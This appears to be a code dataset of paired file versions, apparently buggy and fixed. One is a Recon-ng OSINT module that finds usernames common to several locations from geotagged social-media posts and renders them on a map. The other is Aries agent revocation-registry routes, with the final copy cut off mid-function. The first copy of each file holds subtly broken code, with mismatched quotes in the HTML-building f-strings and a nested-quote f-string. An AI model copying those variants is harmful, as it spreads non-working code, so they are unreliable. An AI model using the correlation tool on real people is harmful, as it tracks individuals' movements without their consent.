'files': ['template_media.html', 'template_map.html'],
}
def getLocations(self):
uLocs = []
uniqueLocation = []
points = self.query('SELECT DISTINCT latitude || \',\' || longitude FROM locations WHERE latitude IS NOT NULL AND longitude IS NOT NULL'),
for point in points[0]:
latitude, longitude = point[0].split(',')
uLocs.append([latitude, longitude])
for uLoc in uLocs:
uniqueLocation.append(self.query('SELECT * FROM locations WHERE latitude=? AND longitude=?', (uLoc[0], uLoc[1],)))
return uniqueLocation
def aliasDots(self,x,y):
dots = "........................................................"
user = str(x)
alias = str(y)
dotstrimmed = dots[0:-len(user+alias)]
aka = " \'" + user + "\'" + dotstrimmed + "\'" + alias + "\'"
return aka
def printCommonUsers(self,user,x):
self.output(f"{user} in location {x + 1}")
def appendUniqueUser(self,user,alias,x):
appendMe = []
appendMe.append(user)
appendMe.append(alias)
appendMe.append(x)
return appendMe
def compareUniqueUsers(self,completeUniqueUsers):
commonUniqueUsers = []
listLength = len(completeUniqueUsers)
locCount = 0
print("")
print("")
print("================================================================================")
print(f"Finding common users")
print("================================================================================")
print("")
print(f"Unique common users between locations found:")
print("")
print(" Screen Name Profile Name")
for x in range(listLength):#check each location
for y in completeUniqueUsers[x]:
for xx in range((x+1),listLength):
for yy in completeUniqueUsers[xx]:
if y[0] == yy[0]:
appendMeReturned = self.appendUniqueUser(y[0],y[1],x)
if appendMeReturned not in commonUniqueUsers:
commonUniqueUsers.append(appendMeReturned)
appendMeReturned = self.appendUniqueUser(yy[0],yy[1],xx)
if appendMeReturned not in commonUniqueUsers:
commonUniqueUsers.append(appendMeReturned)
elif y[0] == yy[1]:
appendMeReturned = self.appendUniqueUser(y[0],y[1],x)
if appendMeReturned not in commonUniqueUsers:
commonUniqueUsers.append(appendMeReturned)
appendMeReturned = self.appendUniqueUser(yy[0],yy[1],xx)
if appendMeReturned not in commonUniqueUsers:
commonUniqueUsers.append(appendMeReturned)
elif y[1] == yy[0]:
appendMeReturned = self.appendUniqueUser(y[0],y[1],x)
if appendMeReturned not in commonUniqueUsers:
commonUniqueUsers.append(appendMeReturned)
appendMeReturned = self.appendUniqueUser(yy[0],yy[1],xx)
if appendMeReturned not in commonUniqueUsers:
commonUniqueUsers.append(appendMeReturned)
elif y[1] == yy[1]:
appendMeReturned = self.appendUniqueUser(y[0],y[1],x)
if appendMeReturned not in commonUniqueUsers:
commonUniqueUsers.append(appendMeReturned)
appendMeReturned = self.appendUniqueUser(yy[0],yy[1],xx)
if appendMeReturned not in commonUniqueUsers:
commonUniqueUsers.append(appendMeReturned)
locCount += 1
nextUser = []
for x in commonUniqueUsers:
if nextUser != [x[0],x[1]]:
print("")
self.printCommonUsers(self.aliasDots(x[0],x[1]),x[2])
nextUser = [x[0],x[1]]
print("")
print("")
print("")
return commonUniqueUsers
def findCommonUsers(self, sources):
culledPossibleItems = []
possibleitems = self.query('SELECT * FROM pushpins')
completeUniqueUsers = []
verbosityOption = self.options['verbosity']
# Get unique locations from database
uniqueLocations = self.getLocations()
# Iterate each unique location
print("")
print("")
locationCount = 0
for uniqueLocation in uniqueLocations:
cPI = []
possibleUsers = []
culledUniqueUsers = []
cUU = []
if verbosityOption > 1:
print("================================================================================")
print(f"Location {locationCount + 1}")
print(f" Latitude: {uniqueLocation[0][0]}")
print(f" Longitude: {uniqueLocation[0][1]}")
print(f" Address: {uniqueLocation[0][2]}")
print(f" Notes: {uniqueLocation[0][4]}")
print("================================================================================")
print("")
searchRad = self.options['search_radius']
for possibleitem in possibleitems:
ulLat = float(uniqueLocation[0][0])
ulLong = float(uniqueLocation[0][1])
rDistance = (math.sqrt(((abs((ulLat) - (float(possibleitem[7]))))**2) + ((abs((ulLong) - (float(possibleitem[8]))))**2)))
if rDistance < (searchRad * .00898311):
cPI.append(possibleitem)
culledPossibleItems.append(cPI)
for x in culledPossibleItems[locationCount]:
possUsrs = []
if verbosityOption > 2:
print(f"Source: {x[0]}")
print(f"Profile Name: {x[1]} Screen Name: {x[2]}")
print(f"Message: {x[6]}")
print(f"Profile Page: {x[3]}")
print("")
possUsrs.append(x[1])
possUsrs.append(x[2])
possibleUsers.append(possUsrs)
#Cull all duplicate users during each unque location pass
for x in possibleUsers:
if x not in culledUniqueUsers:
culledUniqueUsers.append(x)
if verbosityOption > 1:
cUULength = len(culledUniqueUsers)
if cUULength > 1:
print("--------------------------------------------------------------------------------")
print(f"Unique Users Found in location {locationCount +1}")
print("--------------------------------------------------------------------------------")
elif cUULength == 1:
print("--------------------------------------------------------------------------------")
print(f"One Unique User Found in location {locationCount +1}")
print("--------------------------------------------------------------------------------")
else:
print("")
print("")
print(" Screen Name Profile Name")
print("")
for culledUniqueUser in culledUniqueUsers:
self.output(self.aliasDots(culledUniqueUser[0],culledUniqueUser[1]))
cUU.append(culledUniqueUser)
else:
for culledUniqueUser in culledUniqueUsers:
cUU.append(culledUniqueUser)
completeUniqueUsers.append(cUU)
if verbosityOption > 1:
print("")
print("")
locationCount +=1
#Find all unique common users between locations
commonUniqueUsers = self.compareUniqueUsers(completeUniqueUsers)
return commonUniqueUsers
def getSources(self,commonUniqueUsers):
culledSources = []
possibleitems = self.query('SELECT * FROM pushpins')
for possibleitem in possibleitems:
for commonUniqueUser in commonUniqueUsers:
if possibleitem[1] in commonUniqueUser or possibleitem[2] in commonUniqueUser:
culledSources.append(possibleitem)
return culledSources
def remove_nl(self, x, repl=''):
return re.sub('[\r\n]+', repl, self.html_escape(x))
def build_content(self, sources, culledSources):
icons = {
'flickr': 'http://maps.google.com/mapfiles/ms/icons/orange-dot.png',
'instagram': 'http://maps.google.com/mapfiles/ms/icons/pink-dot.png',
'picasa': 'http://maps.google.com/mapfiles/ms/icons/purple-dot.png',
'shodan': 'http://maps.google.com/mapfiles/ms/icons/yellow-dot.png',
'twitter': 'http://maps.google.com/mapfiles/ms/icons/blue-dot.png',
'youtube': 'http://maps.google.com/mapfiles/ms/icons/red-dot.png',
}
media_content = ''
map_content = ''
map_arrays = ''
map_checkboxes = ''
for source in sources:
items = []
count = 0
source = source[1]
#add items to output list by source
for culledSource in culledSources:
if source in culledSource and culledSource not in items:
items.append(culledSource)
count +=1
map_arrays += f"var {source.lower()} = [];\n"
map_checkboxes += f'<input type="checkbox" id="{source.lower()}" onchange="toggleMarkers(\'{source.lower()}\');" checked="checked"/>{source}<br />\n'
media_content += f'<div class="media_column {source.lower()}">\n<div class="media_header"><div class="media_summary">{count}</div>{source.capitalize()}</div>\n'
items.sort(key=lambda x: x[9], reverse=True)
for item in items:
item = [self.to_unicode_str(x) if x != None else '' for x in item]
media_content += f'<div class="media_row"><div class="prof_cell"><a href="{item[4]}' target='_blank'><img class='prof_img rounded' src='{item[5]}" /></a></div><div class="data_cell"><div class="trigger" id="trigger" lat="{item[7]}' lon='{item[8]}">[<a href="{item[3]}' target='_blank'>{item[2]}</a>] {self.remove_nl(item[6], '<br />')}<br /><span class="time">{item[9]}</span></div></div></div>\n'
map_details = (f"<table><tr><td class='prof_cell'><a href='{item[4]}" target="_blank"><img class="prof_img rounded" src="{item[5]}' /></a></td><td class='data_cell'>[<a href='{item[3]}" target="_blank">{self.remove_nl(item[2])}</a>] {self.remove_nl(item[6], "<br />")}<br /><span class='time'>{item[9]}</span></td></tr></table>")
map_content += f'add_marker({{position: new google.maps.LatLng({item[7]},{item[8]}),title:'{self.remove_nl(item[2])}',icon:'{icons[source.lower()]}",map:map}},{{details:'{map_details}'}}, "{source.lower()}");\n'
media_content += '</div>\n'
return (media_content,), (map_content, map_arrays, map_checkboxes)
def write_markup(self, template, filename, content):
temp_content = open(template).read()
page = temp_content % content
with codecs.open(filename, 'wb', 'utf-8') as fp:
fp.write(page)
def module_run(self):
key = self.keys.get('google_api')
sources = self.query('SELECT COUNT(source), source FROM pushpins GROUP BY source')
commonUniqueUsers = self.findCommonUsers(sources)
culledSources = self.getSources(commonUniqueUsers)
media_content, map_content = self.build_content(sources, culledSources)
meta_content = (self.options['latitude'], self.options['longitude'], self.options['radius'])
# create the media report
print("================================================================================")
print(f"Creating HTML reports")
print("================================================================================")
print("")
media_content = meta_content + media_content
media_filename = self.options['media_filename']
self.write_markup(os.path.join(self.data_path, 'template_media.html'), media_filename, media_content)
self.output(f"Media data written to '{media_filename}'")
# order the map_content tuple
map_content = meta_content + map_content + (key,)
order = [6, 4, 0, 1, 2, 3, 5]
map_content = tuple([map_content[i] for i in order])
# create the map report
map_filename = self.options['map_filename']
self.write_markup(os.path.join(self.data_path, 'template_map.html'), map_filename, map_content)
self.output(f"Mapping data written to '{map_filename}'")
# open the reports in a browser
w = webbrowser.get()
w.open(media_filename)
time.sleep(2)
w.open(map_filename)
print("")
print("")
| from recon.core.module import BaseModule
import codecs
import os
import re
import time
import webbrowser
import math
#import pdb
class Module(BaseModule):
meta = {
'name': 'Common Pushpin Usernames',
'author': '4ngryR4v3n - forked from the PushPin Report Generator module created by Tim Tomes (@lanmaster53)',
'version': '1.0',
'description': 'Finds the usernames that are common between locations.',
'required_keys': ['google_api'],
'options': (
('latitude', None, True, 'latitude of the epicenter'),
('longitude', None, True, 'longitude of the epicenter'),
('radius', None, True, 'radius from the epicenter in kilometers'),
('map_filename', os.path.join(BaseModule.workspace, 'pushpin_map.html'), True, 'path and filename for PushPin map report'),
('media_filename', os.path.join(BaseModule.workspace, 'pushpin_media.html'), True, 'path and filename for PushPin media report'),
('search_radius', 1, True, 'search radius from each location in locations table'),
('verbosity', 1, True, '(1)common users (2)+unique users per location (3)+pushpins per location')
),
'files': ['template_media.html', 'template_map.html'],
}
def getLocations(self):
uLocs = []
uniqueLocation = []
points = self.query('SELECT DISTINCT latitude || \',\' || longitude FROM locations WHERE latitude IS NOT NULL AND longitude IS NOT NULL'),
for point in points[0]:
latitude, longitude = point[0].split(',')
uLocs.append([latitude, longitude])
for uLoc in uLocs:
uniqueLocation.append(self.query('SELECT * FROM locations WHERE latitude=? AND longitude=?', (uLoc[0], uLoc[1],)))
return uniqueLocation
def aliasDots(self,x,y):
dots = "........................................................"
user = str(x)
alias = str(y)
dotstrimmed = dots[0:-len(user+alias)]
aka = " \'" + user + "\'" + dotstrimmed + "\'" + alias + "\'"
return aka
def printCommonUsers(self,user,x):
self.output(f"{user} in location {x + 1}")
def appendUniqueUser(self,user,alias,x):
appendMe = []
appendMe.append(user)
appendMe.append(alias)
appendMe.append(x)
return appendMe
def compareUniqueUsers(self,completeUniqueUsers):
commonUniqueUsers = []
listLength = len(completeUniqueUsers)
locCount = 0
print("")
print("")
print("================================================================================")
print(f"Finding common users")
print("================================================================================")
print("")
print(f"Unique common users between locations found:")
print("")
print(" Screen Name Profile Name")
for x in range(listLength):#check each location
for y in completeUniqueUsers[x]:
for xx in range((x+1),listLength):
for yy in completeUniqueUsers[xx]:
if y[0] == yy[0]:
appendMeReturned = self.appendUniqueUser(y[0],y[1],x)
if appendMeReturned not in commonUniqueUsers:
commonUniqueUsers.append(appendMeReturned)
appendMeReturned = self.appendUniqueUser(yy[0],yy[1],xx)
if appendMeReturned not in commonUniqueUsers:
commonUniqueUsers.append(appendMeReturned)
elif y[0] == yy[1]:
appendMeReturned = self.appendUniqueUser(y[0],y[1],x)
if appendMeReturned not in commonUniqueUsers:
commonUniqueUsers.append(appendMeReturned)
appendMeReturned = self.appendUniqueUser(yy[0],yy[1],xx)
if appendMeReturned not in commonUniqueUsers:
commonUniqueUsers.append(appendMeReturned)
elif y[1] == yy[0]:
appendMeReturned = self.appendUniqueUser(y[0],y[1],x)
if appendMeReturned not in commonUniqueUsers:
commonUniqueUsers.append(appendMeReturned)
appendMeReturned = self.appendUniqueUser(yy[0],yy[1],xx)
if appendMeReturned not in commonUniqueUsers:
commonUniqueUsers.append(appendMeReturned)
elif y[1] == yy[1]:
appendMeReturned = self.appendUniqueUser(y[0],y[1],x)
if appendMeReturned not in commonUniqueUsers:
commonUniqueUsers.append(appendMeReturned)
appendMeReturned = self.appendUniqueUser(yy[0],yy[1],xx)
if appendMeReturned not in commonUniqueUsers:
commonUniqueUsers.append(appendMeReturned)
locCount += 1
nextUser = []
for x in commonUniqueUsers:
if nextUser != [x[0],x[1]]:
print("")
self.printCommonUsers(self.aliasDots(x[0],x[1]),x[2])
nextUser = [x[0],x[1]]
print("")
print("")
print("")
return commonUniqueUsers
def findCommonUsers(self, sources):
culledPossibleItems = []
possibleitems = self.query('SELECT * FROM pushpins')
completeUniqueUsers = []
verbosityOption = self.options['verbosity']
# Get unique locations from database
uniqueLocations = self.getLocations()
# Iterate each unique location
print("")
print("")
locationCount = 0
for uniqueLocation in uniqueLocations:
cPI = []
possibleUsers = []
culledUniqueUsers = []
cUU = []
if verbosityOption > 1:
print("================================================================================")
print(f"Location {locationCount + 1}")
print(f" Latitude: {uniqueLocation[0][0]}")
print(f" Longitude: {uniqueLocation[0][1]}")
print(f" Address: {uniqueLocation[0][2]}")
print(f" Notes: {uniqueLocation[0][4]}")
print("================================================================================")
print("")
searchRad = self.options['search_radius']
for possibleitem in possibleitems:
ulLat = float(uniqueLocation[0][0])
ulLong = float(uniqueLocation[0][1])
rDistance = (math.sqrt(((abs((ulLat) - (float(possibleitem[7]))))**2) + ((abs((ulLong) - (float(possibleitem[8]))))**2)))
if rDistance < (searchRad * .00898311):
cPI.append(possibleitem)
culledPossibleItems.append(cPI)
for x in culledPossibleItems[locationCount]:
possUsrs = []
if verbosityOption > 2:
print(f"Source: {x[0]}")
print(f"Profile Name: {x[1]} Screen Name: {x[2]}")
print(f"Message: {x[6]}")
print(f"Profile Page: {x[3]}")
print("")
possUsrs.append(x[1])
possUsrs.append(x[2])
possibleUsers.append(possUsrs)
#Cull all duplicate users during each unque location pass
for x in possibleUsers:
if x not in culledUniqueUsers:
culledUniqueUsers.append(x)
if verbosityOption > 1:
cUULength = len(culledUniqueUsers)
if cUULength > 1:
print("--------------------------------------------------------------------------------")
print(f"Unique Users Found in location {locationCount +1}")
print("--------------------------------------------------------------------------------")
elif cUULength == 1:
print("--------------------------------------------------------------------------------")
print(f"One Unique User Found in location {locationCount +1}")
print("--------------------------------------------------------------------------------")
else:
print("")
print("")
print(" Screen Name Profile Name")
print("")
for culledUniqueUser in culledUniqueUsers:
self.output(self.aliasDots(culledUniqueUser[0],culledUniqueUser[1]))
cUU.append(culledUniqueUser)
else:
for culledUniqueUser in culledUniqueUsers:
cUU.append(culledUniqueUser)
completeUniqueUsers.append(cUU)
if verbosityOption > 1:
print("")
print("")
locationCount +=1
#Find all unique common users between locations
commonUniqueUsers = self.compareUniqueUsers(completeUniqueUsers)
return commonUniqueUsers
def getSources(self,commonUniqueUsers):
culledSources = []
possibleitems = self.query('SELECT * FROM pushpins')
for possibleitem in possibleitems:
for commonUniqueUser in commonUniqueUsers:
if possibleitem[1] in commonUniqueUser or possibleitem[2] in commonUniqueUser:
culledSources.append(possibleitem)
return culledSources
def remove_nl(self, x, repl=''):
return re.sub('[\r\n]+', repl, self.html_escape(x))
def build_content(self, sources, culledSources):
icons = {
'flickr': 'http://maps.google.com/mapfiles/ms/icons/orange-dot.png',
'instagram': 'http://maps.google.com/mapfiles/ms/icons/pink-dot.png',
'picasa': 'http://maps.google.com/mapfiles/ms/icons/purple-dot.png',
'shodan': 'http://maps.google.com/mapfiles/ms/icons/yellow-dot.png',
'twitter': 'http://maps.google.com/mapfiles/ms/icons/blue-dot.png',
'youtube': 'http://maps.google.com/mapfiles/ms/icons/red-dot.png',
}
media_content = ''
map_content = ''
map_arrays = ''
map_checkboxes = ''
for source in sources:
items = []
count = 0
source = source[1]
#add items to output list by source
for culledSource in culledSources:
if source in culledSource and culledSource not in items:
items.append(culledSource)
count +=1
map_arrays += f"var {source.lower()} = [];\n"
map_checkboxes += f'<input type="checkbox" id="{source.lower()}" onchange="toggleMarkers(\'{source.lower()}\');" checked="checked"/>{source}<br />\n'
media_content += f'<div class="media_column {source.lower()}">\n<div class="media_header"><div class="media_summary">{count}</div>{source.capitalize()}</div>\n'
items.sort(key=lambda x: x[9], reverse=True)
for item in items:
item = [self.to_unicode_str(x) if x != None else '' for x in item]
media_content += f'<div class="media_row"><div class="prof_cell"><a href="{item[4]}" target="_blank"><img class="prof_img rounded" src="{item[5]}" /></a></div><div class="data_cell"><div class="trigger" id="trigger" lat="{item[7]}" lon="{item[8]}">[<a href="{item[3]}" target="_blank">{item[2]}</a>] {self.remove_nl(item[6], "<br />")}<br /><span class="time">{item[9]}</span></div></div></div>\n'
map_details = (f"<table><tr><td class='prof_cell'><a href='{item[4]}' target='_blank'><img class='prof_img rounded' src='{item[5]}' /></a></td><td class='data_cell'>[<a href='{item[3]}' target='_blank'>{self.remove_nl(item[2])}</a>] {self.remove_nl(item[6], '<br />')}<br /><span class='time'>{item[9]}</span></td></tr></table>")
map_content += f'add_marker({{position: new google.maps.LatLng({item[7]},{item[8]}),title:"{self.remove_nl(item[2])}",icon:"{icons[source.lower()]}",map:map}},{{details:"{map_details}"}}, "{source.lower()}");\n'
media_content += '</div>\n'
return (media_content,), (map_content, map_arrays, map_checkboxes)
def write_markup(self, template, filename, content):
temp_content = open(template).read()
page = temp_content % content
with codecs.open(filename, 'wb', 'utf-8') as fp:
fp.write(page)
def module_run(self):
key = self.keys.get('google_api')
sources = self.query('SELECT COUNT(source), source FROM pushpins GROUP BY source')
commonUniqueUsers = self.findCommonUsers(sources)
culledSources = self.getSources(commonUniqueUsers)
media_content, map_content = self.build_content(sources, culledSources)
meta_content = (self.options['latitude'], self.options['longitude'], self.options['radius'])
# create the media report
print("================================================================================")
print(f"Creating HTML reports")
print("================================================================================")
print("")
media_content = meta_content + media_content
media_filename = self.options['media_filename']
self.write_markup(os.path.join(self.data_path, 'template_media.html'), media_filename, media_content)
self.output(f"Media data written to '{media_filename}'")
# order the map_content tuple
map_content = meta_content + map_content + (key,)
order = [6, 4, 0, 1, 2, 3, 5]
map_content = tuple([map_content[i] for i in order])
# create the map report
map_filename = self.options['map_filename']
self.write_markup(os.path.join(self.data_path, 'template_map.html'), map_filename, map_content)
self.output(f"Mapping data written to '{map_filename}'")
# open the reports in a browser
w = webbrowser.get()
w.open(media_filename)
time.sleep(2)
w.open(map_filename)
print("")
print("")
|
"""Revocation registry admin routes."""
import logging
from asyncio import shield
from aiohttp import web
from aiohttp_apispec import (
docs,
match_info_schema,
querystring_schema,
request_schema,
response_schema,
)
from marshmallow import fields, Schema, validate
from ..messaging.credential_definitions.util import CRED_DEF_SENT_RECORD_TYPE
from ..messaging.valid import INDY_CRED_DEF_ID, INDY_REV_REG_ID
from ..storage.base import BaseStorage, StorageNotFoundError
from .error import RevocationNotSupportedError
from .indy import IndyRevocation
from .models.issuer_rev_reg_record import IssuerRevRegRecord, IssuerRevRegRecordSchema
from .models.revocation_registry import RevocationRegistry
LOGGER = logging.getLogger(__name__)
class RevRegCreateRequestSchema(Schema):
"""Request schema for revocation registry creation request."""
credential_definition_id = fields.Str(
description="Credential definition identifier", **INDY_CRED_DEF_ID
)
issuance_by_default = fields.Boolean(
description="Create registry with all indexes issued",
required=False,
default=True,
)
max_cred_num = fields.Int(
description="Maximum credential numbers", example=100, required=False
)
class RevRegCreateResultSchema(Schema):
"""Result schema for revocation registry creation request."""
result = IssuerRevRegRecordSchema()
class RevRegsCreatedSchema(Schema):
"""Result schema for request for revocation registries created."""
rev_reg_ids = fields.List(
fields.Str(description="Revocation Registry identifiers", **INDY_REV_REG_ID)
)
class RevRegUpdateTailsFileUriSchema(Schema):
"""Request schema for updating tails file URI."""
tails_public_uri = fields.Url(
description="Public URI to the tails file",
example=(
"http://192.168.56.133:5000/revocation/registry/"
f"{INDY_REV_REG_ID["example"]}/tails-file"
),
required=True,
)
class RevRegsCreatedQueryStringSchema(Schema):
"""Query string parameters and validators for rev regs created request."""
cred_def_id = fields.Str(
description="Credential definition identifier",
required=False,
**INDY_CRED_DEF_ID,
)
state = fields.Str(
description="Revocation registry state",
required=False,
validate=validate.OneOf(
[
getattr(IssuerRevRegRecord, m)
for m in vars(IssuerRevRegRecord)
if m.startswith("STATE_")
]
),
)
class RevRegIdMatchInfoSchema(Schema):
"""Path parameters and validators for request taking rev reg id."""
rev_reg_id = fields.Str(
description="Revocation Registry identifier", required=True, **INDY_REV_REG_ID,
)
class CredDefIdMatchInfoSchema(Schema):
"""Path parameters and validators for request taking cred def id."""
cred_def_id = fields.Str(
description="Credential definition identifier",
required=True,
**INDY_CRED_DEF_ID,
)
@docs(tags=["revocation"], summary="Creates a new revocation registry")
@request_schema(RevRegCreateRequestSchema())
@response_schema(RevRegCreateResultSchema(), 200)
async def revocation_create_registry(request: web.BaseRequest):
"""
Request handler to create a new revocation registry.
Args:
request: aiohttp request object
Returns:
The revocation registry identifier
"""
context = request.app["request_context"]
body = await request.json()
credential_definition_id = body.get("credential_definition_id")
max_cred_num = body.get("max_cred_num")
issuance_by_default = body.get("issuance_by_default", True)
# check we published this cred def
storage = await context.inject(BaseStorage)
found = await storage.search_records(
type_filter=CRED_DEF_SENT_RECORD_TYPE,
tag_query={"cred_def_id": credential_definition_id},
).fetch_all()
if not found:
raise web.HTTPNotFound()
try:
issuer_did = credential_definition_id.split(":")[0]
revoc = IndyRevocation(context)
registry_record = await revoc.init_issuer_registry(
credential_definition_id,
issuer_did,
issuance_by_default=issuance_by_default,
max_cred_num=max_cred_num,
)
except RevocationNotSupportedError as e:
raise web.HTTPBadRequest(reason=e.message) from e
await shield(
registry_record.generate_registry(context, RevocationRegistry.get_temp_dir())
)
return web.json_response({"result": registry_record.serialize()})
@docs(
tags=["revocation"],
summary="Search for matching revocation registries that current agent created",
)
@querystring_schema(RevRegsCreatedQueryStringSchema())
@response_schema(RevRegsCreatedSchema(), 200)
async def revocation_registries_created(request: web.BaseRequest):
"""
Request handler to get revocation registries that current agent created.
Args:
request: aiohttp request object
Returns:
List of identifiers of matching revocation registries.
"""
context = request.app["request_context"]
search_tags = [
tag for tag in vars(RevRegsCreatedQueryStringSchema)["_declared_fields"]
]
tag_filter = {
tag: request.query[tag] for tag in search_tags if tag in request.query
}
found = await IssuerRevRegRecord.query(context, tag_filter)
return web.json_response({"rev_reg_ids": [record.revoc_reg_id for record in found]})
@docs(
tags=["revocation"], summary="Get revocation registry by revocation registry id",
)
@match_info_schema(RevRegIdMatchInfoSchema())
@response_schema(RevRegCreateResultSchema(), 200)
async def get_registry(request: web.BaseRequest):
"""
Request handler to get a revocation registry by identifier.
Args:
request: aiohttp request object
Returns:
The revocation registry
"""
context = request.app["request_context"]
registry_id = request.match_info["rev_reg_id"]
try:
revoc = IndyRevocation(context)
revoc_registry = await revoc.get_issuer_rev_reg_record(registry_id)
except StorageNotFoundError as e:
raise web.HTTPNotFound() from e
return web.json_response({"result": revoc_registry.serialize()})
@docs(
tags=["revocation"],
summary="Get an active revocation registry by credential definition id",
)
@match_info_schema(CredDefIdMatchInfoSchema())
@response_schema(RevRegCreateResultSchema(), 200)
async def get_active_registry(request: web.BaseRequest):
"""
Request handler to get an active revocation registry by cred def id.
Args:
request: aiohttp request object
Returns:
The revocation registry identifier
"""
context = request.app["request_context"]
cred_def_id = request.match_info["cred_def_id"]
try:
revoc = IndyRevocation(context)
revoc_registry = await revoc.get_active_issuer_rev_reg_record(cred_def_id)
except StorageNotFoundError as e:
raise web.HTTPNotFound() from e
return web.json_response({"result": revoc_registry.serialize()})
@docs(
tags=["revocation"],
summary="Download the tails file of revocation registry",
produces="application/octet-stream",
responses={200: {"description": "tails file"}},
)
@match_info_schema(RevRegIdMatchInfoSchema())
async def get_tails_file(request: web.BaseRequest) -> web.FileResponse:
"""
Request handler to download the tails file of the revocation registry.
Args:
request: aiohttp request object
Returns:
The tails file in FileResponse
"""
context = request.app["request_context"]
registry_id = request.match_info["rev_reg_id"]
try:
revoc = IndyRevocation(context)
revoc_registry = await revoc.get_issuer_rev_reg_record(registry_id)
except StorageNotFoundError as e:
raise web.HTTPNotFound() from e
return web.FileResponse(path=revoc_registry.tails_local_path, status=200)
@docs(
tags=["revocation"], summary="Publish a given revocation registry",
)
@match_info_schema(RevRegIdMatchInfoSchema())
@response_schema(RevRegCreateResultSchema(), 200)
async def publish_registry(request: web.BaseRequest):
"""
Request handler to publish a revocation registry based on the registry id.
Args:
request: aiohttp request object
Returns:
The revocation registry record
"""
context = request.app["request_context"]
registry_id = request.match_info["rev_reg_id"]
try:
revoc = IndyRevocation(context)
revoc_registry = await revoc.get_issuer_rev_reg_record(registry_id)
except StorageNotFoundError as e:
raise web.HTTPNotFound() from e
await revoc_registry.publish_registry_definition(context)
LOGGER.debug("published registry definition: %s", registry_id)
await revoc_registry.publish_registry_entry(context)
LOGGER.debug("published registry entry: %s", registry_id)
return web.json_response({"result": revoc_registry.serialize()})
@docs(
tags=["revocation"],
summary="Update revocation registry with new public URI to the tails file.",
)
@match_info_schema(RevRegIdMatchInfoSchema())
@request_schema(RevRegUpdateTailsFileUriSchema())
@response_schema(RevRegCreateResultSchema(), 200)
async def update_registry(request: web.BaseRequest):
"""
Request handler to update a revocation registry based on the registry id.
Args:
request: aiohttp request object
Returns:
The revocation registry record
"""
context = request.app["request_context"]
body = await request.json()
tails_public_uri = body.get("tails_public_uri")
registry_id = request.match_info["rev_reg_id"]
try:
revoc = IndyRevocation(context)
revoc_registry = await revoc.get_issuer_rev_reg_record(registry_id)
except StorageNotFoundError as e:
raise web.HTTPNotFound() from e
await revoc_registry.set_tails_file_public_uri(context, tails_public_uri)
return web.json_response({"result": revoc_registry.serialize()})
async def register(app: web.Application):
"""Register routes."""
app.add_routes(
[
web.post("/revocation/create-registry", revocation_create_registry),
web.get(
"/revocation/registries/created",
revocation_registries_created,
allow_head=False,
),
web.get(
"/revocation/registry/{rev_reg_id}", get_registry, allow_head=False
),
web.get(
"/revocation/active-registry/{cred_def_id}",
get_active_registry,
allow_head=False,
),
web.get(
"/revocation/registry/{rev_reg_id}/tails-file",
get_tails_file,
allow_head=False,
),
web.patch("/revocation/registry/{rev_reg_id}", update_registry),
web.post("/revocation/registry/{rev_reg_id}/publish", publish_registry),
]
)
| """Revocation registry admin routes."""
import logging
from asyncio import shield
from aiohttp import web
from aiohttp_apispec import (
docs,
match_info_schema,
querystring_schema,
request_schema,
response_schema,
)
from marshmallow import fields, Schema, validate
from ..messaging.credential_definitions.util import CRED_DEF_SENT_RECORD_TYPE
from ..messaging.valid import INDY_CRED_DEF_ID, INDY_REV_REG_ID
from ..storage.base import BaseStorage, StorageNotFoundError
from .error import RevocationNotSupportedError
from .indy import IndyRevocation
from .models.issuer_rev_reg_record import IssuerRevRegRecord, IssuerRevRegRecordSchema
from .models.revocation_registry import RevocationRegistry
LOGGER = logging.getLogger(__name__)
class RevRegCreateRequestSchema(Schema):
"""Request schema for revocation registry creation request."""
credential_definition_id = fields.Str(
description="Credential definition identifier", **INDY_CRED_DEF_ID
)
issuance_by_default = fields.Boolean(
description="Create registry with all indexes issued",
required=False,
default=True,
)
max_cred_num = fields.Int(
description="Maximum credential numbers", example=100, required=False
)
class RevRegCreateResultSchema(Schema):
"""Result schema for revocation registry creation request."""
result = IssuerRevRegRecordSchema()
class RevRegsCreatedSchema(Schema):
"""Result schema for request for revocation registries created."""
rev_reg_ids = fields.List(
fields.Str(description="Revocation Registry identifiers", **INDY_REV_REG_ID)
)
class RevRegUpdateTailsFileUriSchema(Schema):
"""Request schema for updating tails file URI."""
tails_public_uri = fields.Url(
description="Public URI to the tails file",
example=(
"http://192.168.56.133:5000/revocation/registry/"
f"{INDY_REV_REG_ID['example']}/tails-file"
),
required=True,
)
class RevRegsCreatedQueryStringSchema(Schema):
"""Query string parameters and validators for rev regs created request."""
cred_def_id = fields.Str(
description="Credential definition identifier",
required=False,
**INDY_CRED_DEF_ID,
)
state = fields.Str(
description="Revocation registry state",
required=False,
validate=validate.OneOf(
[
getattr(IssuerRevRegRecord, m)
for m in vars(IssuerRevRegRecord)
if m.startswith("STATE_")
]
),
)
class RevRegIdMatchInfoSchema(Schema):
"""Path parameters and validators for request taking rev reg id."""
rev_reg_id = fields.Str(
description="Revocation Registry identifier", required=True, **INDY_REV_REG_ID,
)
class CredDefIdMatchInfoSchema(Schema):
"""Path parameters and validators for request taking cred def id."""
cred_def_id = fields.Str(
description="Credential definition identifier",
required=True,
**INDY_CRED_DEF_ID,
)
@docs(tags=["revocation"], summary="Creates a new revocation registry")
@request_schema(RevRegCreateRequestSchema())
@response_schema(RevRegCreateResultSchema(), 200)
async def revocation_create_registry(request: web.BaseRequest):
"""
Request handler to create a new revocation registry.
Args:
request: aiohttp request object
Returns:
The revocation registry identifier
"""
context = request.app["request_context"]
body = await request.json()
credential_definition_id = body.get("credential_definition_id")
max_cred_num = body.get("max_cred_num")
issuance_by_default = body.get("issuance_by_default", True)
# check we published this cred def
storage = await context.inject(BaseStorage)
found = await storage.search_records(
type_filter=CRED_DEF_SENT_RECORD_TYPE,
tag_query={"cred_def_id": credential_definition_id},
).fetch_all()
if not found:
raise web.HTTPNotFound()
try:
issuer_did = credential_definition_id.split(":")[0]
revoc = IndyRevocation(context)
registry_record = await revoc.init_issuer_registry(
credential_definition_id,
issuer_did,
issuance_by_default=issuance_by_default,
max_cred_num=max_cred_num,
)
except RevocationNotSupportedError as e:
raise web.HTTPBadRequest(reason=e.message) from e
await shield(
registry_record.generate_registry(context, RevocationRegistry.get_temp_dir())
)
return web.json_response({"result": registry_record.serialize()})
@docs(
tags=["revocation"],
summary="Search for matching revocation registries that current agent created",
)
@querystring_schema(RevRegsCreatedQueryStringSchema())
@response_schema(RevRegsCreatedSchema(), 200)
async def revocation_registries_created(request: web.BaseRequest):
"""
Request handler to get revocation registries that current agent created.
Args:
request: aiohttp request object
Returns:
List of identifiers of matching revocation registries.
"""
context = request.app["request_context"]
search_tags = [
